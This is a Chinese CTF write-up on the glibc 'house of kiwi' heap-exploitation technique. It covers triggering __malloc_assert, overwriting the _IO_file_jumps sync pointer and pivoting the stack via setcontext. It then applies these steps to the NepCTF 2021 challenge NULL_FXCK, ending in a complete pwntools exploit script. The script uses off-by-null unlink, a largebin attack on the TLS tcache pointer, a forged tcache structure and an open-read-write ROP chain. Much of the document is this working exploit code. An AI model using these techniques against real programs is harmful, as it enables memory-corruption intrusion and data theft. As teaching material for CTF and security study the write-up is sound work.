常回家看看之house_of_kiwi-数字星空

house of kiwi

前言：house_of_kiwi 一般是通过触发__malloc_assert来刷新IO流，最后可以劫持程序流或者通过和setcontext来打配合来进行栈迁移来得到flag。

我们看看触发的源码

#if IS_IN (libc)
#ifndef NDEBUG
# define __assert_fail(assertion, file, line, function)			\
	 __malloc_assert(assertion, file, line, function)

extern const char *__progname;

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
		 const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
		     __progname, __progname[0] ? ": " : "",
		     file, line,
		     function ? function : "", function ? ": " : "",
		     assertion);
  fflush (stderr);
  abort ();
}
#endif
#endif

可以看见__malloc_assert调用了__fxprintf和fflush，而这个函数调用后会调用_IO_file_jumps中的sync指针。

这个指针在_IO_file_jumps偏移为0x60的位置，那么将这个指针进行劫持，就能达到我们想要的目的，如果题目禁用了execve的话，可以考虑通过setcontext来实现栈迁移

我们看一下这个这个函数

text:0000000000053030 ; __unwind {
.text:0000000000053030                 endbr64
.text:0000000000053034                 push    rdi
.text:0000000000053035                 lea     rsi, [rdi+128h] ; nset
.text:000000000005303C                 xor     edx, edx        ; oset
.text:000000000005303E                 mov     edi, 2          ; how
.text:0000000000053043                 mov     r10d, 8         ; sigsetsize
.text:0000000000053049                 mov     eax, 0Eh
.text:000000000005304E                 syscall                 ; LINUX - sys_rt_sigprocmask
.text:0000000000053050                 pop     rdx
.text:0000000000053051                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:0000000000053057                 jnb     loc_5317F
.text:000000000005305D                 mov     rcx, [rdx+0E0h]
.text:0000000000053064                 fldenv  byte ptr [rcx]
.text:0000000000053066                 ldmxcsr dword ptr [rdx+1C0h]
.text:000000000005306D                 mov     rsp, [rdx+0A0h]          //这里将rdx+0xa0的值赋值给了rsp，也就是我们控制了rdx就控制了rsp
.text:0000000000053074                 mov     rbx, [rdx+80h]
.text:000000000005307B                 mov     rbp, [rdx+78h]
.text:000000000005307F                 mov     r12, [rdx+48h]
.text:0000000000053083                 mov     r13, [rdx+50h]
.text:0000000000053087                 mov     r14, [rdx+58h]
.text:000000000005308B                 mov     r15, [rdx+60h]
.text:000000000005308F                 test    dword ptr fs:48h, 2
.text:000000000005309B                 jz      loc_53156
.text:00000000000530A1                 mov     rsi, [rdx+3A8h]
.text:00000000000530A8                 mov     rdi, rsi
.text:00000000000530AB                 mov     rcx, [rdx+3B0h]
.text:00000000000530B2                 cmp     rcx, fs:78h
.text:00000000000530BB                 jz      short loc_530F5
.text:00000000000530BD
.text:00000000000530BD loc_530BD:                              ; CODE XREF: setcontext+9E↓j
.text:00000000000530BD                 mov     rax, [rsi-8]
.text:00000000000530C1                 and     rax, 0FFFFFFFFFFFFFFF8h
.text:00000000000530C5                 cmp     rax, rsi
.text:00000000000530C8                 jz      short loc_530D0
.text:00000000000530CA                 sub     rsi, 8
.text:00000000000530CE                 jmp     short loc_530BD
.text:00000000000530D0 ; ---------------------------------------------------------------------------
.text:00000000000530D0
.text:00000000000530D0 loc_530D0:                              ; CODE XREF: setcontext+98↑j
.text:00000000000530D0                 mov     rax, 1
.text:00000000000530D7                 incsspq rax
.text:00000000000530DC                 rstorssp qword ptr [rsi-8]
.text:00000000000530E1                 saveprevssp
.text:00000000000530E5                 mov     rax, [rdx+3B0h]
.text:00000000000530EC                 mov     fs:78h, rax
.text:00000000000530F5
.text:00000000000530F5 loc_530F5:                              ; CODE XREF: setcontext+8B↑j
.text:00000000000530F5                 rdsspq  rcx
.text:00000000000530FA                 sub     rcx, rdi
.text:00000000000530FD                 jz      short loc_5311C
.text:00000000000530FF                 neg     rcx
.text:0000000000053102                 shr     rcx, 3
.text:0000000000053106                 mov     esi, 0FFh
.text:000000000005310B
.text:000000000005310B loc_5310B:                              ; CODE XREF: setcontext+EA↓j
.text:000000000005310B                 cmp     rcx, rsi
.text:000000000005310E                 cmovb   rsi, rcx
.text:0000000000053112                 incsspq rsi
.text:0000000000053117                 sub     rcx, rsi
.text:000000000005311A                 ja      short loc_5310B
.text:000000000005311C
.text:000000000005311C loc_5311C:                              ; CODE XREF: setcontext+CD↑j
.text:000000000005311C                 mov     rsi, [rdx+70h]
.text:0000000000053120                 mov     rdi, [rdx+68h]
.text:0000000000053124                 mov     rcx, [rdx+98h]
.text:000000000005312B                 mov     r8, [rdx+28h]
.text:000000000005312F                 mov     r9, [rdx+30h]
.text:0000000000053133                 mov     r10, [rdx+0A8h]
.text:000000000005313A                 mov     rdx, [rdx+88h]
.text:0000000000053141                 rdsspq  rax
.text:0000000000053146                 cmp     r10, [rax]
.text:0000000000053149                 mov     eax, 0
.text:000000000005314E                 jnz     short loc_53153
.text:0000000000053150                 push    r10
.text:0000000000053152                 retn
.text:0000000000053153 ; ---------------------------------------------------------------------------
.text:0000000000053153
.text:0000000000053153 loc_53153:                              ; CODE XREF: setcontext+11E↑j
.text:0000000000053153                 jmp     r10
.text:0000000000053156 ; ---------------------------------------------------------------------------
.text:0000000000053156
.text:0000000000053156 loc_53156:                              ; CODE XREF: setcontext+6B↑j
.text:0000000000053156                 mov     rcx, [rdx+0A8h]  //也可以控制到rcx
.text:000000000005315D                 push    rcx               //控制到rip
.text:000000000005315E                 mov     rsi, [rdx+70h]
.text:0000000000053162                 mov     rdi, [rdx+68h]
.text:0000000000053166                 mov     rcx, [rdx+98h]
.text:000000000005316D                 mov     r8, [rdx+28h]
.text:0000000000053171                 mov     r9, [rdx+30h]
.text:0000000000053175                 mov     rdx, [rdx+88h]
.text:0000000000053175 ; } // starts at 53030
.text:000000000005317C ; __unwind {
.text:000000000005317C                 xor     eax, eax
.text:000000000005317E                 retn

也就是说控制到rdx + 0xa0 和rdx + 0xa8的位置就可以实现栈迁移，那么就要搞清楚，调用这个指针的时候，rdx是什么,那么就需要调试一下

调用了fflush

这里sync指针已经被我修改变成了setcontext+61的地址

而此时的rdx是 IO_helper_jumps的地址

那么劫持到 IO_helper_jumps + 0xa0即可劫持程序流

小结：想要达到house_of_kiwi需要至少两次任意地址改，修改sync指针，以及IO_helper_jumps +0xa0和0xa8的位置，然后就可以劫持到程序流了，对于2.27以上堆题目来说可以通过劫持tcache bin 结构体来达到任意地址分配，进而达到目的。

相比较其他的house_of系列kiwi要求的条件也比较苛刻，但是它的利用手法并不难，在能满足这个条件的情况下，这种手法还是非常不错的。

例题：nepctf-2021 NULL_FXCK

题目链接：题目
提取码：k5h6

ida逆向分析

add函数规定了申请chunk有大小的限制，最小0x100，最大0x2000

edit函数存在off_by_null漏洞，但是只能使用一次

show函数存在截断

free函数没有UAF漏洞

分析：只有一个off_by_null漏洞，只能使用一次，那么可以通过unlink实现堆块重叠，达到泄露地址的目的，但是本题libc是2.32的libc，还是存在_malloc_hook这些钩子，但是这些被ban掉了，而且开了沙箱保护，我们只能orw读取flag，那么就可以从上面house_of_kiwi下手。首先要做的是unlink，但是这样就需要伪造fd指针和bk指针，以前我们一般是将fd和bk指针指向自身来绕过unlink检查，但是现在我们不能泄露地址，也就是要在无法泄露地址的情况下完成unlink

那么我们可以申请6个堆块，free 0，3，5堆块，那么堆块3的fd和bk就已经确定了，此时想要达到堆块重叠，可以把chunk3的size改大（改到top_chunk这样下次在top_chunk申请堆块时候，free时候，会向上合并），怎么来呢，free掉chunk2，然后chunk2和chunk3会合并，然后申请堆块修改chunk3的size，那么此时，链表就被破坏了

free 0，3，5

chunk2和chunk3合并

chunk3size被修改，同时它的fd和bk指针已经设置好了

此时，剩下两个chunk加入到了largebin中，我们申请出来，但是怎么修改它们的fd和bk指针呢

注意看刚刚chunk3和chunk2合并之后剩下的chunk（称为left_chunk），它的地址只有最低位和chunk3不一样，而且chunk3的地址末位是0，这个是一开始布局的时候这样布置的，因为add有截断，我们可以通过free这个left_chunk和chunk0以前和chunk5来构成链子，最后通过add截断修改掉fd或者bk指针

这里以chunk0为例子，注意他的fd是chunk3+0x20的位置，那么如果截断一下就是chunk3了

同理chunk5也是一样，那么完成这个再伪造一下prev_size即可完成unlink，即可申请堆块达到堆块重叠，泄露地址，但是存在00截断，还需要加入到largebin中泄露libc地址以及heap地址

那么现在泄露地址的问题解决了，还需要实现任意地址写，那么这里涉及一个知识，我们知道管理tcachebin链表是一个结构体在heap起始处

其实这个在tls里面有一个指针指向它只是被映射成了这个地址，我们可以找一下

那么通过largebin 劫持这个地址即可劫持到tcachebin链表实现任意地址写，接下来就是house_of_kiwi，实现栈迁移，提前把orw链子写入到chunk里面

EXP：

from gt import *

con("amd64")
libc = ELF("./libc-2.32.so")

io = process("./NULL_FXCK")

def add(size,msg='\x00'):
    io.sendlineafter(">> ",'1')
    io.sendlineafter("(: Size: ",str(size))
    io.sendafter("(: Content: ",msg)


def edit(index,msg):
    io.sendlineafter(">> ",'2')
    io.sendlineafter("Index: ",str(index))
    io.sendafter("Content: ",msg)



def free(index):
    io.sendlineafter(">> ",'3')
    io.sendlineafter("Index: ",str(index))



def show(index):
    io.sendlineafter(">> ",'4')
    io.sendlineafter("Index: ",str(index))



add(0x418) #0
add(0x1f8) #1
add(0x428) #2
add(0x438) #3
add(0x208) #4
add(0x428) #5
add(0x208) #6


free(0)   
free(3)
free(5)
gdb.attach(io)
free(2) #chunk3 chunk2 he bing
payload = b'a'*0x428 + p64(0xc91)
add(0x440,payload) #0
#gdb.attach(io)
add(0x418) #2 chunk3 chunk2 leave part
add(0x418) #3  yuanxian chunk0
add(0x428) #5 yuanxian chunk5

free(3)
free(2)
#gdb.attach(io)
add(0x418,'a'*9) #2
add(0x418) #3
free(3)
free(5)
add(0x9f8) #3
add(0x428,'a') #5
payload = b'a'*0x200 + p64(0xc90) + b'\x00'
edit(6,payload)
#gdb.attach(io)
add(0x418)
add(0x208) # fangzhi top_chunk

free(3)
payload = p64(0) *3 + p64(0x421)
add(0x430,payload)
add(0x1600)
show(4)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x6a0 -libc.sym["__malloc_hook"]
suc("libc_base",libc_base)

show(5)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x2b0
suc("heap_base",heap_base)
#gdb.attach(io)
tls_truct = libc_base + 0x1eb578
suc("tls_truct",tls_truct)
open = libc_base + libc.sym["open"]
read = libc_base + libc.sym["read"]
write = libc_base + libc.sym["write"]
setcontext  = libc_base + libc.sym["setcontext"]
pop_rdi = libc_base + 0x000000000002858f#: pop rdi; ret; 
pop_rsi = libc_base + 0x000000000002ac3f#: pop rsi; ret;
pop_rdx_r12 = libc_base + 0x0000000000114161#: pop rdx; pop r12; ret;
IO_file_jumps = libc_base + 0x1e54c0
IO_hleper_jumps = libc_base + 0x1e48c0
suc("IO_hleper_jumps",IO_hleper_jumps)
ret = libc_base + 0x0000000000026699 #: ret; 

payload = b'b'*0x208 + p64(0x431) + b'b'*0x428 + p64(0x211) + b'a'*0x208 + p64(0xa01)
add(0x1240,payload)

free(0) # orw_addr
flag_addr = heap_base + 0x8e0 + 0x100
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr + 0x100) + p64(pop_rdx_r12) + p64(0x40)*2 + p64(read)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr + 0x100) + p64(pop_rdx_r12) + p64(0x40)*2 + p64(write)
orw = orw.ljust(0x100,b'a')
orw += b'flag\x00\x00\x00\x00'

add(0x440,orw) #0
add(0x418) #11
add(0x208) #12

free(5) #unlink big  chunk
free(4) # large_bin attack chunk 
# chunk5 ----> largebin

payload = b'a'*0x208 + p64(0x431) + p64(libc_base + 0x1e3ff0)*2 + p64(heap_base + 0x1350)
payload += p64(tls_truct - 0x20)

add(0x1240,payload)
free(11)
add(0x500) # wancheng large_bin attack

add(0x410) #11
free(4)
payload = b'a'*0x208 + p64(0x431) + p64(libc_base + 0x1e3ff0)*2 + p64(heap_base + 0x1350)*2
add(0x1240,payload)

fake_tcache = b'\x07\x00' * 0x35
fake_tcache = fake_tcache.ljust(0xe8,b'\x00') + p64(IO_file_jumps + 0x60)
fake_tcache = fake_tcache.ljust(0x168,b'\x00') + p64(IO_hleper_jumps + 0xa0)
fake_tcache +=  p64(heap_base + 0x46f0) #top_chunk
add(0x420,fake_tcache)
add(0x100,p64(setcontext+61))
add(0x200,p64(heap_base + 0x8e0)+p64(ret))
add(0x210,p64(0x999))
gdb.attach(io)
add(0x1000)
#gdb.attach(io)
io.interactive()

最后效果